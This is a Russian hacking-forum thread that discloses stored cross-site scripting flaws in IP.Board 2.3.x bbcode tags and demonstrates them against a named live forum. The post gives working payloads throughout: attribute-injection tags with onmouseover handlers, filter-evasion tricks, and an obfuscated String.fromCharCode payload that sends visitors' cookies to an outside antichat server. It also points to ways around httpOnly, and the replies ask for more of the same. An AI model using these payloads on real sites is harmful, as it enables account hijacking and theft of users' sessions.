![]() |
Активный межсайтовый скриптинг в IP.Board 2.3.* на примере http://forum.inattack.ru/
В этой небольшой статье я покажу вам две новые (16.12.08) уязвимости класса активный межсайтовый скриптинг в движке форума IP.Board 2.3-2.3.5 (последняя стабильная версия) на примере известного всем форума http://forum.inattack.ru/ (надо сказать что на оффициальном сайте в предоставленной demo-среде уязвимость также работает).
С увеличением показателя версии движка постоянно увеличивается безопасность этого форумного движка - злоумышленники ищут всё более изощрённые методы заливки своих сценариев из-под привелигированного аккаунта, довольствуются пассивным межсайтовым скриптингом в сторонних модулях и ничего особенного нового не происходит, потому что скрипт этот уже порядком выдержан временем. Однако новые версии продуктов несут не только стабильность с багфиксами и ужесточение политики безопасности, но и нововведения, которые несут в себе ещё не исследованные участки кода, манящего к себе специалистов по безопасности и производной от них "живности". Итак, первый момент, упущенный разработчиками, ведущий к нарушению политики безопасности посредством внедрения произвольного Javascript-сценария. В новых версиях форума появились новые bb-теги, такие как: Код:
[snapback]100[/snapback]Перейдём к практике и посмотрим, что там и как выглядит. Пишем к себе в личные сообщения и делаем предпросмотр следующего кода: Код:
[acronym='test1[acronym='test2']test1']test2[/acronym]test1[/acronym]Код HTML:
<acronym title='test1<acronym title='test2'>test1'>test2</acronym>test1</acronym>Код:
[acronym='test1[acronym='test2 onmouseover=alert(1); ']test1']test2[/acronym]test1[/acronym]Код HTML:
<acronym title='test1<acronym title='test2 onmouseover=alert(1); '>style=background:url(java/**/script:alert(1)) - для IE 6 style=-moz-binding:url(http://site.com/x.xml#xss) - для FF, Форум разбивает слово javascript на две части, поэтому мы разделили его комментарием и сохранили работоспособность. Сам javascript-сценарий следует поместить в зашифрованном виде в функцию "string.fromcharcode()", иначе у вас не получится написать рабочий код без нарушения общего синтаксиса. Но и это не всё - зашифрованный сценарий (вида: 23,45,234,89,24,235,32,346,347,74,7,5 и т.д.) получится слишком длинным и форум разорвёт его пробелами, что так же делает код небоеспособным. Для этого нужно делать несколько предпросмотров и смотреть исходник - в местах, где форум свтсвил пробел вставляем уже описанный выше трюк - "/**/" (и получится что-то вроде 23,45,/**/234,89,24,235,32,346,347,/**/74,7,5 и т.д.). И опять же не всё, наберитесь терпения =). Форум так же избавляется от параметра "-moz-binding", поэтому мы используем трюк, описанный тут: http://www.thespanner.co.uk/2008/02/...nding-xss-fun/ И для варианта с "-moz-binding" содержимое файла "x.xml" должно быть следующее: Код:
<?xml version="1.0"?>Посмотрим для начала как происходит нарушение структуры тега. Предпросматриваем такой код: Код:
[wiki]be1[wiki]be2[/wiki]be[/wiki]Код HTML:
<a href='http://wiki.inattack.ru/wiki/be1<a href='http://wiki.inattack.ru/wiki/be2'>be[wiki]be</a>be'>be'>be[wiki]be</a>be</a>Код:
[wiki][wiki]m onmouseover=alert(document.cookie) [/wiki][/wiki]PHP код:
Код:
[wiki][wiki][*color=#0a1320]m onmouseover=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,/**/105,109,97,103,101,115,91,49,93/**/,46,115,114,99,61,39,104,116,116,/**/112,58,47,47,111,108,100,46,97,/**/110,116,105,99,104,97,116,46,114,/**/117,47,99,103,105,45,98,105,110,47,/**/115,46,106,112,103,63,39,43,100,/**/111,99,117,109,101,110,116,46,99,/**/111,111,107,105,101,59)); [/wiki][/color*][/wiki]Завершая сие скромное исследование хотелось бы огорчить ещё скрипт-киддисов потому как я не упомянул об одной тонкости - на всех рассматриваемых форумах кукисы присваиваются с флагом "httpOnly", что означает, что уязвимость надо дотачивать. Это не проблема для знающих людей, но проблема для шкодливых и назойливых школьников. Про обход httpOnly можно почитать на том же Inattack: http://www.inattack.ru/article/563.html. Удачи, спасибо за внимание. brain[pillow], специально для Античат. |
Спасибо. Очень интересная статья. Только б вот последний абзац превратить в еще одну статью, а именно по получению этих самых кукисов минуя httpOnly... :) Ну показали бы нам как красиво замаскировать скриптик трассировки :rolleyes:
|
а если при
PHP код:
|
| Время: 03:55 |